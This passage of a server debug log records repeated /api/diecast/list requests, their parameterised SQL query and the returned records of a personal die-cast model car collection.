      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-25T11:17:11.794Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-25T11:17:11.795Z server-connect:app Executing action step identify
2026-02-25T11:17:11.795Z server-connect:app options: { provider: 'security' }
2026-02-25T11:17:11.795Z server-connect:output identity: 1
2026-02-25T11:17:11.795Z server-connect:app Executing action step restrict
2026-02-25T11:17:11.795Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:17:11.795Z server-connect:output restrict: undefined
2026-02-25T11:17:11.795Z server-connect:app Executing action step paged
2026-02-25T11:17:11.795Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-25T11:17:11.798Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 46,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-25T11:17:28.419Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-25T11:17:28.419Z server-connect:app Executing action step identify
2026-02-25T11:17:28.420Z server-connect:app options: { provider: 'security' }
2026-02-25T11:17:28.420Z server-connect:output identity: 1
2026-02-25T11:17:28.420Z server-connect:app Executing action step restrict
2026-02-25T11:17:28.420Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:17:28.420Z server-connect:output restrict: undefined
2026-02-25T11:17:28.420Z server-connect:app Executing action step paged
2026-02-25T11:17:28.421Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-25T11:17:28.423Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
